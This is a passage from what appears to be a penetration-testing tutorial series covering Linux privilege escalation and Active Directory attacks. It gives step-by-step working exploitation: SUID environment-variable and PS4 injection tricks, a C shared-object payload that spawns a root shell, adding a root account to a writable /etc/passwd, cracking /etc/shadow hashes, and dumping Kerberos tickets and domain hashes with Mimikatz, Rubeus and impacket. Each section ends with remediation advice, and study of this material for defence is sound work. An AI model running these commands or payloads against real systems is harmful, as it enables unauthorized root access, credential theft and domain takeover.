  • PATH=.:$PATH /usr/local/bin/suid-env

4. Execute the program, you should have a new shell as root

  • /usr/local/bin/suid-env
  • whoami && id

Exploitation #2 (absolute path)

1. The /usr/local/bin/suid-env2 executable is identical to /usr/local/bin/suid-env except that it uses the absolute path of the service executable (/usr/sbin/service) to start the apache2 webserver.

  • strings /usr/local/bin/suid-env2

2. In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.

  • /bin/bash --version

3. Create a Bash function with the name "/usr/sbin/service" that executes a new Bash shell (using -p so permissions are preserved) and export the function, then run the program

  • function /usr/sbin/service { /bin/bash -p; }
  • export -f /usr/sbin/service
  • /usr/local/bin/suid-env2
  • Whoami && id

Exploitation #3

1. This will not work on Bash versions 4.4 and above. When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements.

  • /bin/bash --version

2. Run the /usr/local/bin/suid-env2 executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:

  • env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2

Note: this command will copy /bin/bash as root, copy it to /tmp as rootbash, and then, set it as sticky bit

3. Now make sure the rootbash file was created, and then run it

  • ls -l /tmp
  • /tmp/rootbash
  • whoami && id

Recommendations

  • Limit Environment Variable Usage: Minimize the reliance of SUID/SGID executables on environment variables whenever possible.
  • Hardcode Paths: Instead of relying on environmental variables, specify full paths to necessary binaries, libraries, and configurations within the code of the executable.
  • Restricted Environment: Implement a restricted environment for the execution of SUID/SGID executables to control and sanitize the environment variables available to them.
  • Code Review: Analyze the code of SUID/SGID executables to understand their reliance on environment variables.
  • Static Analysis Tools: Use tools that scan code for potential vulnerabilities related to environment variables.
  • Runtime Monitoring: Monitor the behavior of SUID/SGID executables for any unexpected or unauthorized actions.

[Privilege Escalation] SUID / SGID Executables – Shared Object Injection

UID (Set User ID) and SGID (Set Group ID) are permission bits in Unix-based systems that allow users to execute a program with the permissions of the file owner or group respectively. When these permissions are set on executable files, it can lead to potential security vulnerabilities if not managed properly.

Shared Object Injection is a type of attack where an attacker exploits SUID/SGID executables by injecting malicious code into shared libraries or altering the search path for libraries. This allows the attacker to execute unauthorized commands with elevated privileges, posing a significant security risk.

Once a program is executed, it will seek to load the necessary shared objects. We can use a program called strace to track the shared objects that being called. If a shared object were not found, we can hijack it and write a malicious script to spawn a root shell when it is loaded.

Identification

SUID

1. To hunt for all SUID binaries on the system

  • find / -type f -perm -4000 2>/dev/null
  • find / -type f -perm -u=s 2>/dev/null

SGID

1. You can also search for specific user SUID

  • find / -type f -perm -4000 -user root -ls 2>/dev/null
  • find / -type f -perm -u=s -user root -ls 2>/dev/null

Extra

1. You can search for both at the same time

  • find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \; 2> /dev/null
  • find / \( -perm -g=s -o -perm -u=s \) -type f -exec ls -la {} \; 2> /dev/null

LinPEAS

1. Using LinPEAS.sh we can enumerate SUID and SGID

  • Transfer the script into the target machine
  • Run it: ./LinPEAS.sh

suid3num

1. Enumerate SUID using suid3num.py script (https://github.com/Anon-Exploiter/SUID3NUM), we’ll take a look at /usr/local/bin/suid-so

  • Python2.6 suid3enum.py

Exploitation

1. Run the strace and you'll notice the last shared object that is not found and located at /home/user which is the folder we can write to. ( open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory) )

  • strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

Note: if the directory doesn’t exist in the path just create it, to replicate the same exact path.

2. Create a file named libcalc.c, as the strace output shows, with the contents

#include <stdio.h>

#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {

setuid(0);

system("/bin/bash -p");

}

Note, this script will run a new shell as the owner of the SUID file

3. Compile it and the output should be the same file name (shared object) that is being called by the SUID.

  • gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/.config/libcalc.c

4. (Optional) Run strace again, and, see that now the dependency is found (you may need to kill the process with CTLR+C)

  • strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

5. Now, run the SUID program, and see what happens

  • /usr/local/bin/suid-so
  • whoami && id

Recommendations

  • Reduce Privilege: Minimize the use of SUID/SGID permissions. Only set them when absolutely necessary.
  • Regular Updates: Keep software and system libraries updated to patch known vulnerabilities.
  • Use Capabilities Instead: Consider using Linux capabilities to grant specific privileges to processes rather than using SUID/SGID where possible.
  • Secure Coding Practices: Develop secure code and review it regularly to avoid vulnerabilities.
  • Least Privilege Principle: Limit the use of SUID/SGID permissions. Only assign these permissions when there's a clear need.
  • Regular Security Audits: Conduct periodic audits to identify and rectify vulnerabilities.
  • Access Controls: Implement strong access controls and user permissions to limit the impact of any potential breach.
  • Monitoring and Alert Systems: Employ systems to monitor unusual behavior and set up alerts for any unauthorized access attempts.
  • Network Segmentation: Isolate critical systems to minimize the impact of a potential breach.

[Privilege Escalation] SUID / SGID Executables – Known Exploits

The setuid/setgid (SUID/SGID) bits allows the binary to run with the privileges of the user/group owner instead of those of the user executing it. They can be spotted with the s or S permission in the file user or group owner permissions (i.e. ---s--s---). When the file permissions features an uppercase S instead of a lowercase one, it means the corresponding user or group owner doesn't have execution rights.

Vulnerable programs with these permissions are often targeted by attacker to obtain the user (for setuid) or group (for setgid) privileges. There are many techniques that attackers can use to hijack these binaries and obtain the associated rights.

Identification

SUID

1. To hunt for all SUID binaries on the system

  • find / -type f -perm -4000 2>/dev/null
  • find / -type f -perm -u=s 2>/dev/null

SGID

1. You can also search for specific user SUID

  • find / -type f -perm -4000 -user root -ls 2>/dev/null
  • find / -type f -perm -u=s -user root -ls 2>/dev/null

Extra

1. You can search for both at the same time

  • find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \; 2> /dev/null
  • find / \( -perm -g=s -o -perm -u=s \) -type f -exec ls -la {} \; 2> /dev/null

LinPEAS

1. Using LinPEAS.sh we can enumerate SUID and SGID

  • Transfer the script into the target machine
  • Run it: ./LinPEAS.sh

Exploitation

1. Once you identify the list of SUID/SGID, you need to start searching for vulnerabilities related to the program. In order to start, you need to find the program information such a version number.

In this case, I will inspect exim4, program, so I start by looking at the version, first I take a look at the installed programs

  • dpkg -l | grep -i exim

Note, this time it only shows like dependencies, we can also search for the program dependencies

  • ldd /usr/sbin/exim4

2. Doing some research online, I found the command to print the exact version

  • exim4 --version

3. Knowing the version we can search on different sources for vulnerabilities & exploits

  • Google
  • Exploit DB
  • IBM Xforce
  • Github
  • Rapid7
  • CXSecurity
  • Vulnerability Lab
  • 0day
  • SecurityFocus
  • Packet Storm Security
  • Google Hacking Database
  • CVE Details
  • SecurityFocus

4. Searching in CVE Details for (exim 4.48) I found an interesting CVE, we need to investigate about it, and try to find an exploit.

4. We can search for this CVE in different sources like exploit DB or google as PoC, I found some exploits in Exploit-DB using searchsploit

4. Looking for this CVE in ExploitDB I found (https://www.exploit-db.com/exploits/39535)

5. I run it in the server, and since, this is running SUID, it executes and runs as root

Recommendations

Review and Minimize SUID/SGID Executables:

  • Identify and review all files with SUID/SGID permissions.
  • Evaluate the necessity of these permissions for each file. Remove SUID/SGID where unnecessary.

Use Least Privilege Principle:

  • Only grant SUID/SGID permissions where absolutely needed.
  • Assign permissions narrowly to limit potential exploitation.

Regularly Update and Patch:

  • Keep software and systems up to date to patch known vulnerabilities associated with SUID/SGID binaries.

Utilize Seccomp and AppArmor/SELinux:

  • Implement these security frameworks to confine processes, limiting the potential damage if SUID/SGID binaries are compromised.

Monitor and Audit:

  • Implement logging and auditing to monitor the usage and behavior of SUID/SGID binaries for suspicious activities.

[Privilege Escalation] Weak File Permissions – Writable /etc/passwd

The /etc/passwd file is a crucial system file in Unix-based operating systems like Linux. It contains essential information about user accounts on the system. Each line in the file represents a single user account and is structured with several fields separated by colons.

Here's an example entry:

  • john:x:1001:1001:John Doe:/home/john:/bin/bash

Let's break down the fields:

  • Username (john): This is the username associated with the account.
  • Password Placeholder (x): Historically, the password was stored in this field, represented by an 'x,' but modern systems store the password in a separate file (like /etc/shadow) for security reasons.
  • User ID (UID) (1001): This is a unique numerical ID assigned to the user. It helps the system identify users by number rather than by name.
  • Group ID (GID) (1001): This is the primary group ID associated with the user. Every user belongs to at least one group.
  • User Information (John Doe): This field typically contains additional information about the user, like their full name.
  • Home Directory (/home/john): This is the absolute path to the user's home directory, where they land upon logging in.
  • Login Shell (/bin/bash): This specifies the user's default shell, the program that allows them to interact with the system.

Exploiting weak permissions in the /etc/passwd file could allow unauthorized users to access or modify it. For instance, if the permissions are set too loosely (allowing write access to non-privileged users), attackers might tamper with this file to create new user accounts, change passwords, or modify existing account information. This can lead to unauthorized access, privilege escalation

The default permissions should be, read & write for the owner (root), read permissions for root group members and other users

Identification

1. Check manually the /etc/passwd permissions

  • ls -l /etc/passwd

In this case the WRITE permissions have been granted to other users. Since we can write this file we could do:

  • Change an existing user password
  • Add a new user
  • Modify user information

2. Using LinPEAS.sh you can also find clues about this misconfiguration being present. (https://github.com/carlospolop/PEASS-ng/tree/master)

  • ./LinPEAS.sh

Exploitation: Change users’ password

1. Having the ability to modify the /etc/passwd file, we can create a password hash, and, replace an user’s password field with the new hash (between the first and second colon (:) of the root user's row (replacing the "x"). I will replace root user password field

  • openssl passwd newpassword

2. Modify the /etc/passwd, the root user line

Before

  • cat /etc/passwd | grep root

After

  • cat /etc/passwd | grep root

3. Try to log in as root, or change user using su, enter the new password

  • su root
    • Password: newpasswd
  • ssh root@<IP>

Exploitation: Adding a new user

1. Having the ability to modify the /etc/passwd file, we can create a new user, copying root user's row and append it to the bottom of the file, changing the first instance of the word "root" to "newroot" and placing the generated password hash between the first and second colon (replacing the "x").

  • openssl passwd newpassword

2. Create a backup file of /etc/passwd

  • cp /etc/passwd passwd

3. Create a new user, (escape any special characters if needed)

  • echo "newroot:\$1\$hDAn9mjC\$.vdrna/Mo3ZORX13yGHD.1:0:0:root:/root:/bin/bash" >> /etc/passwd

4. Verify the line was appended successfully

  • cat /etc/passwd | grep newroot

5. Now try to log in using this new user, or change to it using su command

  • su newroot
    • newpassword
  • ssh newroot@10.10.48.238

Remediation

User Permissions and Access Control:

  • Review and set proper file permissions for critical system files like /etc/passwd and /etc/shadow. Only allow root or specific privileged users to modify these files.
  • Implement the principle of least privilege. Users should only have the permissions necessary to perform their tasks.

Backup and Recovery:

  • Regularly back up critical data and ensure a solid disaster recovery plan. This allows you to restore the system in case of a successful attack.

Monitoring and Logging:

  • Implement robust logging and monitoring mechanisms to track system activity. Tools like intrusion detection systems (IDS) or security information and event management (SIEM) can help detect anomalies.
  • Regularly review system logs to identify unusual activity, login attempts, or modifications to critical files.

[Privilege Escalation] Weak File Permissions – /etc/shadow

The /etc/shadow file is a crucial component in Unix-based operating systems, such as Linux. It stores encrypted user passwords and related information, providing an additional layer of security by restricting access to sensitive authentication data.

In this file, user passwords are not stored in plain text. Instead, they are encrypted using various hashing algorithms, with the most common being the SHA-512 (Secure Hash Algorithm) or MD5 (Message Digest Algorithm 5) encryption methods. These algorithms create a hashed version of the passwords, making it computationally challenging to reverse the process and obtain the original password.

Common hash types in /etc/shadow:

  • MD5: Typically begins with $1$
  • SHA-256: Often starts with $5$
  • SHA-512: Generally starts with $6$

However, despite the encryption, the /etc/shadow file is a prime target for attackers. If unauthorized individuals gain access to this file, they might use various methods (like brute-force attacks or exploiting vulnerabilities) to crack the hashed passwords, gaining entry to user accounts.

This is how /etc/shadow permissions show look like, only root user can modify it, and other users that belong to the shadow group can read it

  • ls -l /etc/shadow

The /etc/shadow file in Unix-based operating systems contains sensitive information related to user accounts. Each line in the file represents a single user, and these lines consist of several fields or columns, separated by colons. Here's a breakdown of the columns in the /etc/shadow file:

kali:$y$j9T$7X9YlJ7c4u44URQvzTxxT0$BisyVCLhoPfP22Svis.MdkL02jMCFEJgT7yJIRCHp3G/:19426:0:99999:7:::

  • Username: This column contains the username or login name of the user.
  • Password: In modern systems, the password field typically doesn't contain the actual password. Instead, it stores a hashed version of the password. The hashed password is not reversible, meaning it can't be converted back to the original password. Instead, during login, the system hashes the entered password and compares it with the stored hashed value to authenticate the user.
  • Last Password Change (in Days): This field records the number of days since the password was last changed. It helps in password expiration policies or identifying when the password was last updated.
  • Minimum Password Age: This column signifies the minimum number of days a user must wait before changing their password. It's a part of password policy management.
  • Maximum Password Age: This column indicates the maximum number of days a user can keep a password before being required to change it. This field also contributes to password policy management.
  • Password Warning Period: This field typically provides a warning to the user that their password is about to expire within a certain number of days.
  • Password Inactivity Period: If a password remains unused for a specified period, it may be disabled or locked. This field defines the period of inactivity before such action is taken
  • Account Expiration Date: This column specifies the date when the account will expire or be disabled. After this date, the user may not be able to log in without administrative intervention.
  • Reserved: This field is often reserved for future use or system-specific settings.

Identification

1. The easiest way is to run “ls” command

  • ls -l /etc/shadow
  • id

In this particular case, we notice out user is not part of the shadow group, but we noticed the /etc/shadow file has READ,WRITE permissions for other users, this means we have permissions to modify this file.

2. Using LinPEAS.sh you can also find clues about this vulnerability being present. (https://github.com/carlospolop/PEASS-ng/tree/master)

  • ./LinPEAS.sh

Exploiting /etc/shadow READ permission

1. Having the ability to read /etc/shadow, we can copy the contents of it, and then, crack the hashes using john

  • cat /etc/shadow

2. Copy the contents of it into your own machine, or use any type of file transfer method you prefer, I’ll create a file named shadow

  • vi shadow

3. Now, use john against this file to try to crack the passwords, you can also specify the type of hash using --format=<hash type> argument

  • john --wordlist=/usr/share/wordlists/rockyou.txt shadow
  • john --wordlist=/usr/share/wordlists/rockyou.txt shadow --format=sha512crypt

4. We got the password (password321) of user (user)

5. We can also take just one line for one single user, and, crack it, in case the whole file doesn’t provide enough passwords

  • john --wordlist=/usr/share/wordlists/rockyou.txt shadow

6. Also, we can retrieve previous cracked passwords by using --show parameter, having the root password we can log in as this user

  • john --show shadow

Exploiting /etc/shadow WRITE permission

1. Having the ability to modify the /etc/shadow file, we can generate our own password hash and replace the password field of an existing user, we can modify the root user password, use any accepted hashing algorithm

  • mkpasswd -m sha-512 newpassword

2. Create a backup of the /etc/shadow file

  • cp /etc/shadow shadow.bak
  • ls

3. Copy the output hash, and, replace the root hash with our new hash

Before

After

4. Now we can log in as root

  • ssh root@10.10.150.52

Extra

1. You can also use sed command to create a whole new line, to copy & paste

  • sed 's/^root:[^:]*:/root:<hash>:/g' /etc/shadow | grep <user>
  • sed 's/^root:[^:]*:/root:$6$kIW2RPXnEttDUn1y$7VCgKvZGaJhS06zJZfWbcGbybqDaynTQMnpZjFjrFcLy9KJ\/97pxQXM5ASSssIUV\/Vydx8QSWJkUPH0tvqoVH\/:/g' /etc/shadow | grep root

Recommendations

To secure the /etc/shadow file and the passwords within:

  • Restrict File Access: Limit access to this file to only privileged users. Regular users should not have permission to view or modify it.
  • Use Strong Passwords: Encourage users to create strong, complex passwords that are less susceptible to brute-force attacks.
  • Encryption Algorithm: Consider using more secure encryption algorithms (such as SHA-512 over MD5) for password hashing.
  • Monitor File Changes: Implement monitoring tools that can alert administrators about any changes made to the /etc/shadow file.
  • Access Controls and Logging: Set up access controls and robust logging mechanisms to track and monitor any access or modifications to the file.

[Privilege Escalation] SUDO rights to all the commands on the host

A misconfiguration in /etc/sudoers allows members of group sudo to execute any command

Identification

1. Running the following command give us a hint

  • sudo -l

2. In the /etc/sudoers, the configuration should show like this

  • cat /etc/sudoers

3. We can also make sure our user is part of this group

  • id

Exploitation

1. Knowing the sudoers file allows all members of sudo group to execute any command with privilege rights, and making sure our user is part of this group, we can go ahead, and run for example bash as root

  • sudo bash

Note: If (NOPASSWD) is specified within the configuration, then no need to use the user’s password.

Remedy

Configure properly permissions to users that require, apply least privilege principles to each user that requires higher privileges.

[Active Directory] Unconstrained delegation

Unconstrained delegation is a security feature or misconfiguration in Microsoft Active Directory (AD) that can be exploited by attackers to gain unauthorized access to resources within a network.

Occurs when a computer, such as a File Server, has the "Trust this computer for delegation to any service" option enabled, and a Domain Administrator logs into the File Server. This enables us to grab a copy of the Domain Administrator's TGT, which can be used to authenticate anywhere in the Domain.

Anytime, a user login onto the Computer, a copy of the TGT of that user is going to be sent inside the TGS provided by the DC and saved in memory in LSASS. So, if you have Administrator privileges on the machine, you will be able to dump the tickets and impersonate the users on any machine.

Attackers can then advance their attacks against unconstrained delegation using PowerShell and Mimikatz commands. They can

  • Dump and reuse credentials out of LSASS.
  • Export all private certificates.
  • Escalate privileges to have debug rights on the remote computer.

So if a domain admin login inside a Computer with "Unconstrained Delegation" feature activated, and you have local admin privileges inside that machine, you will be able to dump the ticket and impersonate the Domain Admin anywhere (domain privesc).

What is Active Directory Delegation?

Delegation is an Active Directory feature for when a user or computer account needs to impersonate another account. For example, when a user calls a web application hosted on the web server, the application can impersonate the user credentials to access resources hosted on a different server, such as a database server. Any domain computers with unconstrained delegation enabled can impersonate user credentials to any service in the domain.

Type of Kerberos Delegation:

  • Unconstrained delegation
  • Constrained delegation
  • RBCD (Resource-Based Constrained Delegation)

A user Y requests a TGS for a service

The KDC checks to see if the TRUSTED_FOR_DELEGATION flag is enabled on user X and whether it belongs to the Protected Users group or has the NOT_DELEGATION flag.

In case you only have TRUSTED_FOR_DELEGATION, the KDC will include a TGT for user Y within the TGS for service X.

Finally, service X will receive the TGS and obtain the TGT from user Y.

Requirements

  • Elevated privileges on the host that is configured for Unconstrained Delegation.
  • Kerberos Authentication: The target environment should use Kerberos authentication.
  • Account has the TRUSTED_FOR_DELEGATION flag in the User Account Control (UAC) flags.
  • User account has not the NOT_DELEGATED flag set which by default non domain accounts have this flag.

Escalation_Vectors

  • Vertically, escalate privileges to a higher privileged user like Domain Admin.
  • Horizontally, obtain privileges to another user who has access to different resources within the network not accessible to the original compromised account.

Used Tools

  • Invoke-Mimikatz
  • PowerView
  • Active Directory Module

Identification

ADSearch

1. You can find Computer objects with this attribute checking if the userAccountControl attribute contains ADS_UF_TRUSTED_FOR_DELEGATION. You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what powerview does:

  • ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem

PowerView

1. DCs always appear but aren't useful for privesc

  • Get-NetComputer -Unconstrained
  • Get-NetComputer -Unconstrained | Select samaccountname

Get-ADComputer (AD Module)

1. Active directory module can also be used to enumerate delegations

  • Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description
  • Get-ADComputer "LAB-CLIENT-WIN1" -Properties TrustedForDelegation, TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccount
  • Get-ADComputer -Filter {TrustedForDelegation -eq $True}

Note:

  • Unconstrained Delegation: TrustedForDelegation = True
  • Constrained Delegation: TrustedToAuthForDelegation = True

2. Using the same module querying the “userAccountControl” attribute can provide the same results.

  • Get-ADComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

Get-ADComputer (AD Module)

1. Enumerate users that possess the TrustedForDelegation flag

  • Get-ADUser -Filter {TrustedForDelegation -eq $True}

Exploitation (Mimikatz)

1. Having access to a server with TRUSTED_FOR_DELEGATION flag, when a user requests access to a service, it could be a SMB service, or a website that needs access to a database, we can search for TGT tickets in memory, or we can capture the TGT ticket using Rubeus.exe. First, let’s try to search for tickets using mimikatz

  • Mimikatz.exe
  • privilege::debug
  • sekurlsa::tickets /export
    • mimikatz.exe "token::elevate" "sekurlsa::tickets /export"
  • kerberos::list /export
    • mimikatz.exe "token::elevate" "kerberos::list /export"

2. We found tickets, and, exported them.

  • dir

Extra (Invoke-Mimikatz)

# Export tickets (Preferred Method (More Accurate))

  • Invoke-Mimikatz -Command '"token::elevate "sekurlsa::tickets /export"'

# Alternative Method

  • Invoke-Mimikatz -Command '""token::elevate" "kerberos::list /export"'

Mimikatz (Pass the ticket: PTT)

1. Having the ticket exported, proceed to load it

  • kerberos::ptt [0;3f2148]-2-0-60a10000-Administrator@krbtgt-VK9-SEC.COM.kirbi

2. List the tickets loaded

  • kerberos::list /export

3. Run a new CMD

  • misc::cmd
  • klist

Exploitation (Rubeus)

1. Look for any existing interesting ticket

  • .\Rubeus.exe triage

2. Monitor to see if there are any in coming tickets, from requests from any other service

  • .\Rubeus.exe monitor /interval:1
  • Rubeus.exe monitor /interval:15 /nowrap
  • Rubeus.exe monitor /interval:15 /nowrap /targetuser:administrator

Note: Grab the base64 ticket

(Alternative) 3. You can dump tickets for selected user,service or LUID

  • Rubeus.exe dump /nowrap /user:administrator
  • Rubeus.exe dump /nowrap /service:krbtgt
  • Rubeus.exe dump /nowrap /luid:0x6ee60

Extra (Invoke-Rubeus)

# Triage for existing tickets

  • Invoke-Rubeus -Command "triage"

# Dump tickets for selected user,service or LUID

  • Invoke-Rubeus -Command "dump /nowrap /user:administrator"
  • Invoke-Rubeus -Command "dump /nowrap /service:krbtgt"
  • Invoke-Rubeus -Command "dump /nowrap /luid:0x6ee60"

# Monitor for and dump new tickets

  • Invoke-Rubeus -Command "monitor interval:15 /nowrap"
  • Invoke-Rubeus -Command "monitor interval:15 /nowrap /targetuser:administrator"

Rubeus (Pass the ticket: PTT)

1. Having the ticket we can proceed to use pass the ticket technique

  • .\Rubeus.exe createnetonly /program:c:\windows\system32\cmd.exe /show
  • .\Rubeus.exe ptt /ticket:[Base64 ticket]
  • .\Rubeus.exe ptt /luid:[LUID from previous command] /ticket:[Base64 ticket]

2. You can list the PC cached tickets

  • klist

3. Once the ticket has been imported, you can start a remote session to the server

  • Enter-PSSession -ComputerName lab-win2019
  • hostname; whoami

Note:

For this demo I used this tool to simulate a service on the remote machine (https://github.com/leechristensen/SpoolSample)

Here we have the compiled version

https://github.com/jtmpu/PrecompiledBinaries

Mitigation

  • Identify all the servers that have delegation configured. Disable unconstrained Kerberos delegation and configure constrained delegation for servers that require it.
  • Enable the “Account is sensitive and cannot be delegated” setting for high privileged accounts.

https://www.sentinelone.com/wp-content/uploads/2022/06/unconstrained-options.jpg

  • Security admins should be more cautious of granting privileged permissions to users who can enable unconstrained Kerberos delegation. The option “Enable computer and user accounts to be trusted for delegation” is available under Security Settings >> Local Policies >> User Rights Assignment.
  • Adding user accounts to the Protected Users Security Group, available starting with Windows Server 2012 R2, can also mitigate unconstrained delegation exposure.

Source

https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/steal-or-forge-kerberos-tickets/unconstrained-delegation

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation

https://www.sentinelone.com/blog/detecting-unconstrained-delegation-exposures-in-ad-environment/

https://pentestlab.blog/2022/03/21/unconstrained-delegation/

https://medium.com/r3d-buck3t/attacking-kerberos-unconstrained-delegation-ef77e1fb7203

https://www.semperis.com/blog/active-directory-unconstrained-delegation-security-risks/

https://deephacking.tech/unconstrained-delegation-kerberos/

https://www.hackingarticles.in/domain-escalation-unconstrained-delegation/

https://adsecurity.org/?p=1667

https://en.hackndo.com/constrained-unconstrained-delegation/

[Active Directory] DCSync Attack

The DCSync attack is a technique used by malicious actors to retrieve password hashes from a target domain controller in an Active Directory (AD) environment. This attack is based on abusing the DRSUAPI protocol, which is a part of the Microsoft Windows Active Directory replication process. Below, I'll explain how the DCSync attack works, step by step, its requirements, and how to protect against it:

  • The DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
  • By default only Domain Admins, Enterprise Admins, Administrators, and Domain Controllers groups have the required privileges.
  • If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text

https://www.sentinelone.com/wp-content/uploads/2018/07/Protecting-Against-Active-Directory-DCSync-Attacks-1-1024x536.png

The following high-level sequence of steps explains how a DCSync attack works, enabling attackers to take complete control of an organization’s AD infrastructure.

  • Compromise a standard or non-privileged user account with “Replicate Directory Changes” permission.
  • Discover a DC in the specified domain name.
  • Request the DC to replicate sensitive information such as password hashes using the Microsoft Directory Replication Service Remote (MS-DRSR) protocol.
  • Obtain NTLM hashes of potentially useful accounts such as KRBTGT and Administrators.
  • Create a Golden Ticket and run Pass the Ticket (PTT) attacks to move laterally.

A DCSync is not a simple copy & parse of the NTDS.dit file, it's a DsGetNCChanges operation transported in an RPC request to the DRSUAPI (Directory Replication Service API) to replicate data (including credentials) from a domain controller.

Elements Involved:

  • Active Directory Domain Controller (DC): The target domain controller is a Windows server responsible for managing user accounts, authentication, and authorization in the AD environment.
  • DCSync Tool: Malicious actors use tools like "Mimikatz", "PowerShell Empire" or "Impacket" to perform DCSync attacks. These tools have built-in functionality to request password hashes from the target DC.
  • Privileged Access: To execute a DCSync attack, an attacker typically needs high-level privileges within the AD environment, such as Domain Admin or equivalent permissions.

Requirements:

  • Privileged Access: The attacker needs to have high-level privileges in the AD environment to execute DCSync successfully.
  • The DCSync permission implies having these permissions over the domain itself: DS-Replication-Get-Changes, Replicating Directory Changes All or Replicating Directory Changes In Filtered Set.
    • Members of the Administrators, Domain Admins, Enterprise Admins, and Domain Controllers groups have these privileges by default.
  • Additionally, any security principal with one of the following rights delegated at the domain level can also successfully retrieve password hash data using the DCSync attack.
    • GenericAll (Full Control)
    • AllExtendedRights
  • DCSync-Capable Tool: The attacker must have access to a tool with DCSync functionality, such as Mimikatz.
  • Network Access: The attacker needs network access to the target domain controller.

Important Notes about DCSync:

  • The DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
  • By default only Domain Admins, Enterprise Admins, Administrators, Read-only Domain Controllers and Domain Controllers groups have the required privileges.
  • If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text

Enumeration

Enumeration (PowerView)

1. Query for the domain info, copy it (DC=vk9-sec,DC=com)

  • Get-ForestGlobalCatalog

2. Check who has Replicating Directory Changes, Replicating Directory Changes All and Replicating Directory Changes In Filtered Set.

  • Get-ObjectAcl "DC=vk9-sec,DC=com" -ResolveGUIDS | ? {($_.ObjectAceType -like 'DS-Replication*')}
  • Get-ObjectAcl "DC=vk9-sec,DC=com" -ResolveGUIDS | ? {($_.ObjectAceType -like 'Replicating*')}
  • Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

Note: knowing already the target user SID we can query

  • Get-ObjectAcl "DC=vk9-sec,DC=com" -ResolveGUIDS | ? {($_.ObjectAceType -like 'DS-Replication*') -and ($_.SecurityIdentifier -match <SID>)}

3. Knowing there is a user with these types of permissions you can query for the SecurityIdentifier to know which user it is

  • Get-ADUser -Identity S-1-5-21-3777574546-3462295754-3391741248-4192

Enumeration (AD module)

1. If any user has following permission, the user can perform DCSync attack:

  • DS-Replication-Get-Changes extended right (Rights-GUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All extended right (Rights-GUID 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-In-Filtered-Set extended right (Rights-GUID 89e95b76-444d-4c62-991a-0facbeda640c)

2. Search for users with the permissions

  • Import-Module ActiveDirectory
  • (Get-Acl "ad:\dc=vk9-sec,dc=com").Access | ? {($_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" -or $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" -or $_.ObjectType -eq "89e95b76-444d-4c62-991a-0facbeda640c" ) } | select IdentityReference

3. Query a specific user

  • (Get-Acl "ad:\dc=vk9-sec,dc=com").Access | ? {$_.IdentityReference -match 'user1' -and ($_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" -or $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" -or $_.ObjectType -eq "89e95b76-444d-4c62-991a-0facbeda640c" ) }

Exploitation

Exploitation (Impacket / Remote)

1. Having the credentials of the user with DS-Replication-Get-Changes, Replicating Directory Changes All and Replicating Directory Changes In Filtered Set permissions we can extract the users

  • impacket-secretsdump <Domain>/<Username>:<Password>@<IP> -just-dc
  • impacket-secretsdump vk9-sec.com/user1:Admin.123@192.168.0.110 -just-dc

2. To write the output in a file use -outputfile

  • impacket-secretsdump vk9-sec.com/user1:Admin.123@192.168.0.110 -just-dc -outputfile <filename>

3. We can try pass the hash

  • impacket-secretsdump -outputfile 'something' -hashes 'LMhash':'NThash' 'DOMAIN'/'USER'@'DOMAINCONTROLLER'

4. We can also attempt Pass-the-Ticket

  • secretsdump -k -outputfile 'something' 'DOMAIN'/'USER'@'DOMAINCONTROLLER'

5. This attack can also be operated with a relayed NTLM authentication, but only if the target domain controller is vulnerable to Zerologon since the DRSUAPI always requires signing.

# target vulnerable to Zerologon, dump DC's secrets only

  • ntlmrelayx.py -t dcsync://'DOMAINCONTROLLER'

# target vulnerable to Zerologon, dump Domain's secrets

  • ntlmrelayx.py -t dcsync://'DOMAINCONTROLLER' -auth-smb 'DOMAIN'/'LOW_PRIV_USER':'PASSWO

Errors

1. When the credentials are wrong

2. When the Permissions are invalid

Exploitation (Mimikatz / Local)

1. Once the account is delegated the ability to replicate objects, the account can run Mimikatz DCSync:

# Extract a specific user, in this case the krbtgt

